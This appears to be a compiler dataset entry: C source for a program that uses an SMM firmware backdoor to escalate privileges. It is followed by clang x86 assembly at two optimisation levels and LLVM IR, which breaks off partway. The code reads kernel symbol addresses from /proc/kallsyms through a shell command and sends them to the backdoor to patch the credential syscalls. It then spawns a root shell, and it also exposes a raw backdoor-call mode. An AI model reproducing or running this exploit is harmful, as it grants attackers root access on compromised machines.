#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
typedef int /*<<< orphan*/ mask;
typedef int /*<<< orphan*/ cpu_set_t;

/* Variables and functions */
int /*<<< orphan*/ CPU_SET(int /*<<< orphan*/, int /*<<< orphan*/ *);
int /*<<< orphan*/ CPU_ZERO(int /*<<< orphan*/ *);
int EINVAL;
int errno;
int /*<<< orphan*/ execl(char *, char *, int /*<<< orphan*/ *);
scalar_t__ getegid();
scalar_t__ geteuid();
scalar_t__ getgid();
scalar_t__ getuid();
int /*<<< orphan*/ printf(char *, ...);
int sched_setaffinity(int /*<<< orphan*/, int, int /*<<< orphan*/ *);
int smm_call(int, unsigned long long, unsigned long long);
int /*<<< orphan*/ sprintf(char *, char *, char *, ...);
int /*<<< orphan*/ strcmp(char *, char *);
int strlen(char *);
int strtol(char *, int /*<<< orphan*/ *, int);
unsigned long long strtoull(char *, int /*<<< orphan*/ *, int);
int system(char *);
int main(int argc, char *argv[]) {
  int ret = 0;
  cpu_set_t mask;
  CPU_ZERO(&mask);
  CPU_SET(0, &mask);
  ret = sched_setaffinity(0, sizeof(mask), &mask);
  if (ret != 0) {
    printf("sched_setaffinity() ERROR %d\n", errno);
    return errno;
  }
  if (argc >= 2 && !strcmp(argv[1], "--privesc")) {
    if (argc >= 3) {
      int i = 0;
      for (i = 2; i < argc; i += 2) {
        unsigned long long addr = 0;
        char *func = argv[i + 1];
        if ((addr = strtoull(argv[i], NULL, 16)) == 0 && errno == EINVAL) {
          printf("strtoull() ERROR %d\n", errno);
          return errno;
        }
        if (addr == 0) {
          printf("ERROR: Unable to resolve %s() address\n", func);
          return EINVAL;
        }
        printf("%s() address is 0x%llx...\n", func, addr);
        getuid();
        getgid();
        geteuid();
        getegid();
        ret = smm_call(8, addr, 0);
        if (ret != 0) {
          printf("ERROR: Backdoor returns 0x%x\n", ret);
          return ret;
        }
      }
      if (getuid() == 0 && geteuid() == 0 && getgid() == 0 && getegid() == 0) {
        printf("SUCCESS\n");
        execl("/bin/sh", "sh", NULL);
      } else {
        printf("FAILS\n");
        return EINVAL;
      }
    } else {
      int i = 0, code = 0;
      char command[0x200];
      char *functions[] = {"sys_getuid", "sys_geteuid", "sys_getgid",
                           "sys_getegid", NULL};
      printf("Getting root...\n");
      sprintf(command, "%s --privesc ", argv[0]);
      for (i = 0; functions[i]; i++) {
        char *func = functions[i];
        sprintf(command + strlen(command),
                "0x`cat /proc/kallsyms | grep '%s$' | awk '{print $1}'` %s ",
                func, func);
      }
      code = system(command);
      if (code != 0) {
        printf("ERROR: Command \"%s\" returns 0x%x\n", command, code);
        return code;
      }
    }
  } else {
    int code = 0;
    unsigned long long arg1 = 0, arg2 = 0;
    if (argc >= 2) {
      if ((code = strtol(argv[1], NULL, 16)) == 0 && errno == EINVAL) {
        printf("strtol() ERROR %d\n", errno);
        return errno;
      }
    }
    if (argc >= 3) {
      if ((arg1 = strtoull(argv[2], NULL, 16)) == 0 && errno == EINVAL) {
        printf("strtoull() ERROR %d\n", errno);
        return errno;
      }
    }
    if (argc >= 4) {
      if ((arg2 = strtoull(argv[3], NULL, 16)) == 0 && errno == EINVAL) {
        printf("strtoull() ERROR %d\n", errno);
        return errno;
      }
    }
    printf("Calling SMM backdoor with code = 0x%x and args 0x%llx, 0x%llx...\n",
           code, arg1, arg2);
    ret = smm_call(code, arg1, arg2);
    printf("Sucess! Status code: 0x%.8x\n", ret);
  }
  return ret;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x2a0,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x14(%rbp)
lea    -0x18(%rbp),%rdi
call   1100 <CPU_ZERO@plt>
xor    %edi,%edi
lea    -0x18(%rbp),%rsi
call   1130 <CPU_SET@plt>
xor    %edi,%edi
mov    $0x4,%esi
lea    -0x18(%rbp),%rdx
call   1090 <sched_setaffinity@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
je     1289 <main+0x79>
mov    0x2d78(%rip),%rax
mov    (%rax),%esi
lea    0xd8f(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2d61(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
cmpl   $0x2,-0x8(%rbp)
jl     15df <main+0x3cf>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
lea    0xd7c(%rip),%rsi
call   10b0 <strcmp@plt>
cmp    $0x0,%eax
jne    15df <main+0x3cf>
cmpl   $0x3,-0x8(%rbp)
jl     1499 <main+0x289>
movl   $0x0,-0x1c(%rbp)
movl   $0x2,-0x1c(%rbp)
mov    -0x1c(%rbp),%eax
cmp    -0x8(%rbp),%eax
jge    1407 <main+0x1f7>
movq   $0x0,-0x28(%rbp)
mov    -0x10(%rbp),%rax
mov    -0x1c(%rbp),%ecx
add    $0x1,%ecx
movslq %ecx,%rcx
mov    (%rax,%rcx,8),%rax
mov    %rax,-0x30(%rbp)
mov    -0x10(%rbp),%rax
movslq -0x1c(%rbp),%rcx
mov    (%rax,%rcx,8),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   10a0 <strtoull@plt>
mov    %rax,-0x28(%rbp)
cmp    $0x0,%rax
jne    1359 <main+0x149>
mov    0x2cc0(%rip),%rax
mov    (%rax),%eax
mov    0x2caf(%rip),%rcx
cmp    (%rcx),%eax
jne    1359 <main+0x149>
mov    0x2ca8(%rip),%rax
mov    (%rax),%esi
lea    0xce7(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2c91(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
cmpq   $0x0,-0x28(%rbp)
jne    1387 <main+0x177>
mov    -0x30(%rbp),%rsi
lea    0xcce(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2c5b(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
mov    -0x30(%rbp),%rsi
mov    -0x28(%rbp),%rdx
lea    0xcce(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    $0x0,%al
call   1040 <getuid@plt>
mov    $0x0,%al
call   10d0 <getgid@plt>
mov    $0x0,%al
call   1080 <geteuid@plt>
mov    $0x0,%al
call   10e0 <getegid@plt>
mov    -0x28(%rbp),%rsi
mov    $0x8,%edi
xor    %eax,%eax
mov    %eax,%edx
call   10f0 <smm_call@plt>
mov    %eax,-0x14(%rbp)
cmpl   $0x0,-0x14(%rbp)
je     13f4 <main+0x1e4>
mov    -0x14(%rbp),%esi
lea    0xc9d(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x14(%rbp),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
jmp    13f9 <main+0x1e9>
mov    -0x1c(%rbp),%eax
add    $0x2,%eax
mov    %eax,-0x1c(%rbp)
jmp    12c8 <main+0xb8>
mov    $0x0,%al
call   1040 <getuid@plt>
cmp    $0x0,%rax
jne    1475 <main+0x265>
mov    $0x0,%al
call   1080 <geteuid@plt>
cmp    $0x0,%rax
jne    1475 <main+0x265>
mov    $0x0,%al
call   10d0 <getgid@plt>
cmp    $0x0,%rax
jne    1475 <main+0x265>
mov    $0x0,%al
call   10e0 <getegid@plt>
cmp    $0x0,%rax
jne    1475 <main+0x265>
lea    0xc4b(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    0xc46(%rip),%rdi
lea    0xc44(%rip),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1120 <execl@plt>
jmp    1494 <main+0x284>
lea    0xc32(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2b4e(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
jmp    15da <main+0x3ca>
movl   $0x0,-0x34(%rbp)
movl   $0x0,-0x38(%rbp)
lea    -0x270(%rbp),%rdi
xor    %esi,%esi
mov    $0x28,%edx
call   1070 <memset@plt>
lea    0xbf4(%rip),%rax
mov    %rax,-0x270(%rbp)
lea    0xbf1(%rip),%rax
mov    %rax,-0x268(%rbp)
lea    0xbef(%rip),%rax
mov    %rax,-0x260(%rbp)
lea    0xbec(%rip),%rax
mov    %rax,-0x258(%rbp)
lea    0xbea(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    -0x240(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    (%rax),%rdx
lea    0xbdf(%rip),%rsi
mov    $0x0,%al
call   1110 <sprintf@plt>
movl   $0x0,-0x34(%rbp)
movslq -0x34(%rbp),%rax
cmpq   $0x0,-0x270(%rbp,%rax,8)
je     1599 <main+0x389>
movslq -0x34(%rbp),%rax
mov    -0x270(%rbp,%rax,8),%rax
ff
mov    %rax,-0x278(%rbp)
lea    -0x240(%rbp),%rax
mov    %rax,-0x298(%rbp)
lea    -0x240(%rbp),%rdi
call   1030 <strlen@plt>
mov    -0x298(%rbp),%rdi
cltq
add    %rax,%rdi
mov    -0x278(%rbp),%rdx
mov    -0x278(%rbp),%rcx
lea    0xb7e(%rip),%rsi
mov    $0x0,%al
call   1110 <sprintf@plt>
mov    -0x34(%rbp),%eax
add    $0x1,%eax
mov    %eax,-0x34(%rbp)
jmp    1523 <main+0x313>
lea    -0x240(%rbp),%rdi
call   1050 <system@plt>
mov    %eax,-0x38(%rbp)
cmpl   $0x0,-0x38(%rbp)
je     15d5 <main+0x3c5>
lea    -0x240(%rbp),%rsi
mov    -0x38(%rbp),%edx
lea    0xb7a(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x38(%rbp),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
jmp    15da <main+0x3ca>
jmp    17ae <main+0x59e>
movl   $0x0,-0x27c(%rbp)
movq   $0x0,-0x288(%rbp)
movq   $0x0,-0x290(%rbp)
cmpl   $0x2,-0x8(%rbp)
jl     1673 <main+0x463>
mov    -0x10(%rbp),%rax
mov    0x8(%rax),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   10c0 <strtol@plt>
mov    %eax,-0x27c(%rbp)
cmp    $0x0,%eax
jne    166e <main+0x45e>
mov    0x29ab(%rip),%rax
mov    (%rax),%eax
mov    0x299a(%rip),%rcx
cmp    (%rcx),%eax
jne    166e <main+0x45e>
mov    0x2993(%rip),%rax
mov    (%rax),%esi
lea    0xb09(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x297c(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
jmp    1673 <main+0x463>
cmpl   $0x3,-0x8(%rbp)
jl     16e9 <main+0x4d9>
mov    -0x10(%rbp),%rax
mov    0x10(%rax),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   10a0 <strtoull@plt>
mov    %rax,-0x288(%rbp)
cmp    $0x0,%rax
jne    16e4 <main+0x4d4>
mov    0x2935(%rip),%rax
mov    (%rax),%eax
mov    0x2924(%rip),%rcx
cmp    (%rcx),%eax
jne    16e4 <main+0x4d4>
mov    0x291d(%rip),%rax
mov    (%rax),%esi
lea    0x95c(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2906(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
jmp    16e9 <main+0x4d9>
cmpl   $0x4,-0x8(%rbp)
jl     175f <main+0x54f>
mov    -0x10(%rbp),%rax
mov    0x18(%rax),%rdi
xor    %eax,%eax
mov    %eax,%esi
mov    $0x10,%edx
call   10a0 <strtoull@plt>
mov    %rax,-0x290(%rbp)
cmp    $0x0,%rax
jne    175a <main+0x54a>
mov    0x28bf(%rip),%rax
mov    (%rax),%eax
mov    0x28ae(%rip),%rcx
cmp    (%rcx),%eax
jne    175a <main+0x54a>
mov    0x28a7(%rip),%rax
mov    (%rax),%esi
lea    0x8e6(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    0x2890(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x4(%rbp)
jmp    17b4 <main+0x5a4>
jmp    175f <main+0x54f>
mov    -0x27c(%rbp),%esi
mov    -0x288(%rbp),%rdx
mov    -0x290(%rbp),%rcx
lea    0x9f8(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x27c(%rbp),%edi
mov    -0x288(%rbp),%rsi
mov    -0x290(%rbp),%rdx
call   10f0 <smm_call@plt>
mov    %eax,-0x14(%rbp)
mov    -0x14(%rbp),%esi
lea    0xa0d(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
mov    -0x14(%rbp),%eax
mov    %eax,-0x4(%rbp)
mov    -0x4(%rbp),%eax
add    $0x2a0,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x248,%rsp
mov    %rsi,%r14
mov    %edi,%r12d
lea    0xc(%rsp),%rbp
mov    %rbp,%rdi
call   1100 <CPU_ZERO@plt>
xor    %ebx,%ebx
xor    %edi,%edi
mov    %rbp,%rsi
call   1130 <CPU_SET@plt>
xor    %edi,%edi
mov    $0x4,%esi
mov    %rbp,%rdx
call   1090 <sched_setaffinity@plt>
test   %eax,%eax
je     1271 <main+0x61>
mov    0x2d86(%rip),%rbx
mov    (%rbx),%esi
lea    0xd9d(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    (%rbx),%ebx
jmp    1361 <main+0x151>
cmp    $0x2,%r12d
jl     1327 <main+0x117>
mov    0x8(%r14),%rbx
lea    0xd98(%rip),%rsi
mov    %rbx,%rdi
call   10b0 <strcmp@plt>
test   %eax,%eax
je     1375 <main+0x165>
mov    %rbx,%rdi
xor    %esi,%esi
mov    $0x10,%edx
call   10c0 <strtol@plt>
mov    %eax,%ebx
test   %eax,%eax
jne    12cc <main+0xbc>
mov    0x2d2e(%rip),%rbp
mov    0x0(%rbp),%esi
mov    0x2d1c(%rip),%rax
cmp    (%rax),%esi
jne    12cc <main+0xbc>
lea    0xe77(%rip),%rdi
jmp    156f <main+0x35f>
cmp    $0x3,%r12d
jb     1327 <main+0x117>
mov    0x10(%r14),%rdi
xor    %esi,%esi
mov    $0x10,%edx
call   10a0 <strtoull@plt>
mov    %rax,%r15
test   %rax,%rax
jne    1303 <main+0xf3>
mov    0x2cef(%rip),%rbp
mov    0x0(%rbp),%esi
mov    0x2cdd(%rip),%rax
cmp    (%rax),%esi
je     1568 <main+0x358>
cmp    $0x4,%r12d
jb     132a <main+0x11a>
mov    0x18(%r14),%rdi
xor    %esi,%esi
mov    $0x10,%edx
call   10a0 <strtoull@plt>
test   %rax,%rax
je     154f <main+0x33f>
mov    %rax,%rbp
jmp    132c <main+0x11c>
xor    %r15d,%r15d
xor    %ebp,%ebp
lea    0xe1e(%rip),%rdi
mov    %ebx,%esi
mov    %r15,%rdx
mov    %rbp,%rcx
xor    %eax,%eax
call   1070 <printf@plt>
mov    %ebx,%edi
mov    %r15,%rsi
mov    %rbp,%rdx
call   10f0 <smm_call@plt>
mov    %eax,%ebx
lea    0xe3b(%rip),%rdi
mov    %eax,%esi
xor    %eax,%eax
call   1070 <printf@plt>
mov    %ebx,%eax
add    $0x248,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
cmp    $0x3,%r12d
jb     144d <main+0x23d>
mov    $0x2,%ebp
lea    0xcd9(%rip),%r15
nopl   0x0(%rax,%rax,1)
mov    (%r14,%rbp,8),%rdi
mov    0x8(%r14,%rbp,8),%r13
xor    %esi,%esi
mov    $0x10,%edx
call   10a0 <strtoull@plt>
test   %rax,%rax
je     1520 <main+0x310>
mov    %rax,%rbx
mov    %r15,%rdi
mov    %r13,%rsi
mov    %rax,%rdx
xor    %eax,%eax
call   1070 <printf@plt>
xor    %eax,%eax
call   1050 <getuid@plt>
xor    %eax,%eax
call   10d0 <getgid@plt>
xor    %eax,%eax
call   1080 <geteuid@plt>
xor    %eax,%eax
call   10e0 <getegid@plt>
mov    $0x8,%edi
mov    %rbx,%rsi
xor    %edx,%edx
call   10f0 <smm_call@plt>
test   %eax,%eax
jne    1541 <main+0x331>
add    $0x2,%rbp
cmp    %r12d,%ebp
jl     1390 <main+0x180>
xor    %eax,%eax
call   1050 <getuid@plt>
test   %rax,%rax
jne    1433 <main+0x223>
xor    %eax,%eax
call   1080 <geteuid@plt>
test   %rax,%rax
jne    1433 <main+0x223>
xor    %eax,%eax
call   10d0 <getgid@plt>
test   %rax,%rax
jne    1433 <main+0x223>
xor    %ebx,%ebx
xor    %eax,%eax
call   10e0 <getegid@plt>
test   %rax,%rax
je     1597 <main+0x387>
lea    0xd86(%rip),%rdi
call   1030 <puts@plt>
mov    0x2b92(%rip),%rax
mov    (%rax),%ebx
jmp    1361 <main+0x151>
movq   $0x0,0x30(%rsp)
lea    0xc48(%rip),%rbx
mov    %rbx,0x10(%rsp)
lea    0x18(%rsp),%rbp
lea    0xc42(%rip),%rax
mov    %rax,0x18(%rsp)
lea    0xc42(%rip),%rax
mov    %rax,0x20(%rsp)
lea    0xc41(%rip),%rax
mov    %rax,0x28(%rsp)
lea    0xd1e(%rip),%rdi
call   1030 <puts@plt>
mov    (%r14),%rdx
lea    0xc32(%rip),%rsi
lea    0x40(%rsp),%r14
mov    %r14,%rdi
xor    %eax,%eax
call   1110 <sprintf@plt>
lea    0xc2a(%rip),%r15
nopw   0x0(%rax,%rax,1)
mov    %r14,%rdi
call   1040 <strlen@plt>
cltq
lea    (%rsp,%rax,1),%rdi
add    $0x40,%rdi
mov    %r15,%rsi
mov    %rbx,%rdx
mov    %rbx,%rcx
xor    %eax,%eax
call   1110 <sprintf@plt>
mov    0x0(%rbp),%rbx
add    $0x8,%rbp
test   %rbx,%rbx
jne    14c0 <main+0x2b0>
lea    0x40(%rsp),%rdi
call   1060 <system@plt>
test   %eax,%eax
je     1519 <main+0x309>
mov    %eax,%ebx
lea    0xc16(%rip),%rdi
lea    0x40(%rsp),%rsi
mov    %eax,%edx
xor    %eax,%eax
call   1070 <printf@plt>
jmp    1361 <main+0x151>
xor    %ebx,%ebx
jmp    1361 <main+0x151>
mov    0x2ab9(%rip),%rbx
mov    (%rbx),%esi
mov    0x2aa8(%rip),%rbp
cmp    0x0(%rbp),%esi
jne    157e <main+0x36e>
lea    0xaec(%rip),%rdi
jmp    1263 <main+0x53>
mov    %eax,%ebx
lea    0xb35(%rip),%rdi
jmp    1358 <main+0x148>
mov    0x2a8a(%rip),%rbp
mov    0x0(%rbp),%esi
mov    0x2a78(%rip),%rax
cmp    (%rax),%esi
jne    132a <main+0x11a>
lea    0xab9(%rip),%rdi
xor    %eax,%eax
call   1070 <printf@plt>
mov    0x0(%rbp),%ebx
jmp    1361 <main+0x151>
lea    0xab8(%rip),%rdi
mov    %r13,%rsi
xor    %eax,%eax
call   1070 <printf@plt>
mov    0x0(%rbp),%ebx
jmp    1361 <main+0x151>
lea    0xc28(%rip),%rdi
call   1030 <puts@plt>
lea    0xaf3(%rip),%rdi
lea    0xaf1(%rip),%rsi
xor    %edx,%edx
call   1120 <execl@plt>
jmp    1361 <main+0x151>

LLVM IR (-O0):
@.str = [30 x i8] c"sched_setaffinity() ERROR %d\0A\00"
@errno = global i32 0
@.str.1 = [10 x i8] c"--privesc\00"
@EINVAL = global i32 0
@.str.2 = [21 x i8] c"strtoull() ERROR %d\0A\00"
@.str.3 = [39 x i8] c"ERROR: Unable to resolve %s() address\0A\00"
@.str.4 = [27 x i8] c"%s() address is 0x%llx...\0A\00"
@.str.5 = [30 x i8] c"ERROR: Backdoor returns 0x%x\0A\00"
@.str.6 = [9 x i8] c"SUCCESS\0A\00"
@.str.7 = [8 x i8] c"/bin/sh\00"
@.str.8 = [3 x i8] c"sh\00"
@.str.9 = [7 x i8] c"FAILS\0A\00"
@.str.10 = [11 x i8] c"sys_getuid\00"
@.str.11 = [12 x i8] c"sys_geteuid\00"
@.str.12 = [11 x i8] c"sys_getgid\00"
@.str.13 = [12 x i8] c"sys_getegid\00"
@.str.14 = [17 x i8] c"Getting root...\0A\00"
@.str.15 = [14 x i8] c"%s --privesc \00"
@.str.16 = [59 x i8] c"0x`cat /proc/kallsyms | grep '%s$' | awk '{print $1}'` %s \00"
@.str.17 = [34 x i8] c"ERROR: Command \22%s\22 returns 0x%x\0A\00"
@.str.18 = [19 x i8] c"strtol() ERROR %d\0A\00"
@.str.19 = [66 x i8] c"Calling SMM backdoor with code = 0x%x and args 0x%llx, 0x%llx...\0A\00"
@.str.20 = [29 x i8] c"Sucess! Status code: 0x%.8x\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca i32
%9 = alloca i64
%10 = alloca i8*
%11 = alloca i32
%12 = alloca i32
%13 = alloca [512 x i8]
%14 = alloca [5 x i8*]
%15 = alloca i8*
%16 = alloca i32
%17 = alloca i64
%18 = alloca i64
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %6
%19 = call i32 @CPU_ZERO(i32* %7)
%20 = call i32 @CPU_SET(i32 0, i32* %7)
%21 = call i32 @sched_setaffinity(i32 0, i32 4, i32* %7)
store i32 %21, i32* %6
%22 = load i32, i32* %6
%23 = icmp ne i32 %22, 0
br i1 %23, label %24, label %28
24: ; preds = %2
%25 = load i32, i32* @errno
%26 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str, i64 0, i64 0), i32 %25)
%27 = load i32, i32* @errno
store i32 %27, i32* %3
br label %227
28: ; preds = %2
%29 = load i32, i32* %4
%30 = icmp sge i32 %29, 2
br i1 %30, label %31, label %160
31: ; preds = %28
%32 = load i8**, i8*** %5
%33 = getelementptr inbounds i8*, i8** %32, i64 1
%34 = load i8*, i8** %33
%35 = call i32 @strcmp(i8* %34, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.1, i64 0, i64 0))
%36 = icmp ne i32 %35, 0
br i1 %36, label %160, label %37
37: ; preds = %31
%38 = load i32, i32* %4
%39 = icmp sge i32 %38, 3
br i1 %39, label %40, label %113
40: ; preds = %37
store i32 0, i32* %8
store i32 2, i32* %8
br label %41
41: ; preds = %91, %40
%42 = load i32, i32* %8
%43 = load i32, i32* %4
%44 = icmp slt i32 %42, %43
br i1 %44, label %45, label %94
45: ; preds = %41
store i64 0, i64* %9
%46 = load i8**, i8*** %5
%47 = load i32, i32* %8
%48 = add nsw i32 %47, 1
%49 = sext i32 %48 to i64
%50 = getelementptr inbounds i8*, i8** %46, i64 %49
%51 = load i8*, i8** %50
store i8* %51, i8** %10
%52 = load i8**, i8*** %5
%53 = load i32, i32* %8
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds i8*, i8** %52, i64 %54
%56 = load i8*, i8** %55
%57 = call i64 @strtoull(i8* %56, i32* null, i32 16)
store i64 %57, i64* %9
%58 = icmp eq i64 %57, 0
br i1 %58, label %59, label %67
59: ; preds = %45
%60 = load i32, i32* @errno
%61 = load i32, i32* @EINVAL
%62 = icmp eq i32 %60, %61
br i1 %62, label %63, label %67
63: ; preds = %59
%64 = load i32, i32* @errno
%65 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([21 x i8], [21 x i8]* @.str.2, i64 0, i64 0), i32 %64)
%66 = load i32, i32* @errno
store i32 %66, i32* %3
br label %227
67: ; preds = %59, %45
%68 = load i64, i64* %9
%69 = icmp eq i64 %68, 0
br i1 %69, label %70, label %74
70: ; preds = %67
%71 = load i8*, i8** %10
%72 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([39 x i8], [39 x i8]* @.str.3, i64 0, i64 0), i8* %71)
%73 = load i32, i32* @EINVAL
store i32 %73, i32* %3
br label %227
74: ; preds = %67
%75 = load i8*, i8** %10
%76 = load i64, i64* %9
%77 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.4, i64 0, i64 0), i8* %75, i64 %76)
%78 = call i64 (...) @getuid()
%79 = call i64 (...) @getgid()
%80 = call i64 (...) @geteuid()
%81 = call i64 (...) @getegid()
%82 = load i64, i64* %9
%83 = call i32 @smm_call(i32 8, i64 %82, i64 0)
store i32 %83, i32* %6
%84 = load i32, i32* %6
%85 = icmp ne i32 %84, 0
br i1 %85, label %86, label %90
86: ; preds = %74
%87 = load i32, i32* %6
%88 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([30 x i8], [30 x i8]* @.str.5, i64 0, i64 0), i32 %87)
%89 = load i32, i32* %6
store i32 %89, i32* %3
br label %227
90: ; preds = %74
br label %91
91: ; preds = %90
%92 = load i32, i32* %8
%93 = add nsw i32 %92, 2
store i32 %93, i32* %8
br label %41
94: ; preds = %41
%95 = call i64 (...) @getuid()
%96 = icmp eq i64 %95, 0
br i1 %96, label %97, label %109
97: ; preds = %94
%98 = call i64 (...) @geteuid()
%99 = icmp eq i64 %98, 0
br i1 %99, label %100, label %109
100: ; preds = %97
%101 = call i64 (...) @getgid()
%102 = icmp eq i64 %101, 0
br i1 %102, label %103, label %109
103: ; preds = %100
%104 = call i64 (...) @getegid()
%105 = icmp eq i64 %104, 0
br i1 %105, label %106, label %109
106: ; preds = %103
%107 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.6, i64 0, i64 0))
%108 = call i32 @execl(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([3 x i8], [3 x i8]* @.str.8, i64 0, i64 0), i32* null)
br label %112
109: ; preds = %103, %100, %97, %94
%110 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.9, i64 0, i64 0))
%111 = load i32, i32* @EINVAL
store i32 %111, i32* %3
br label %227
112: ; preds = %106
br label %159
113: ; preds = %37
store i32 0, i32* %11
store i32 0, i32* %12
%114 = bitcast [5 x i8*]* %14 to i8*
%115 = bitcast i8* %114 to [5 x i8*]*
%116 = getelementptr inbounds [5 x i8*], [5 x i8*]* %115, i32 0, i32 0
store i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.10, i32 0, i32 0), i8** %116
%117 = getelementptr inbounds [5 x i8*], [5 x i8*]* %115, i32 0, i32 1
store i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.11, i32 0, i32 0), i8** %117
%118 = getelementptr inbounds [5 x i8*], [5 x i8*]* %115, i32 0, i32 2
store i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.12, i32 0, i32 0), i8** %118
%119 = getelementptr inbounds [5 x i8*], [5 x i8*]* %115, i32 0, i32 3
store i8* getelementptr inbounds ([12 x i8], [12 x i8]* @.str.13, i32 0, i32 0), i8** %119
%120 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([17 x i8], [17 x i8]* @.str.14, i64 0, i64 0))
%121 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%122 = load i8**, i8*** %5
%123 = getelementptr inbounds i8*, i8** %122, i64 0
%124 = load i8*, i8** %123
%125 = call i32 (i8*, i8*, i8*, ...) @sprintf(i8* %121, i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.15, i64 0, i64 0), i8* %124)
store i32 0, i32* %11
br label %126
126: ; preds = %145, %113
%127 = load i32, i32* %11
%128 = sext i32 %127 to i64
%129 = getelementptr inbounds [5 x i8*], [5 x i8*]* %14, i64 0, i64 %128
%130 = load i8*, i8** %129
%131 = icmp ne i8* %130, null
br i1 %131, label %132, label %148
132: ; preds = %126
%133 = load i32, i32* %11
%134 = sext i32 %133 to i64
%135 = getelementptr inbounds [5 x i8*], [5 x i8*]* %14, i64 0, i64 %134
%136 = load i8*, i8** %135
store i8* %136, i8** %15
%137 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%138 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%139 = call i32 @strlen(i8* %138)
%140 = sext i32 %139 to i64
%141 = getelementptr inbounds i8, i8* %137, i64 %140
%142 = load i8*, i8** %15
%143 = load i8*, i8** %15
%144 = call i32 (i8*, i8*, i8*, ...) @sprintf(i8* %141, i8* getelementptr inbounds ([59 x i8], [59 x i8]* @.str.16, i64 0, i64 0), i8* %142, i8* %143)
br label %145
145: ; preds = %132
%146 = load i32, i32* %11
%147 = add nsw i32 %146, 1
store i32 %147, i32* %11
br label %126
148: ; preds = %126
%149 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%150 = call i32 @system(i8* %149)
store i32 %150, i32* %12
%151 = load i32, i32* %12
%152 = icmp ne i32 %151, 0
br i1 %152, label %153, label %158
153: ; preds = %148
%154 = getelementptr inbounds [512 x i8], [512 x i8]* %13, i64 0, i64 0
%155 = load i32, i32* %12
%156 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([34 x i8], [34 x i8]* @.str.17, i64 0, i64 0), i8* %154, i32 %155)
%157 = load i32, i32* %12
store i32 %157, i32* %3
br label %227
158: ; preds = %148
br label %159
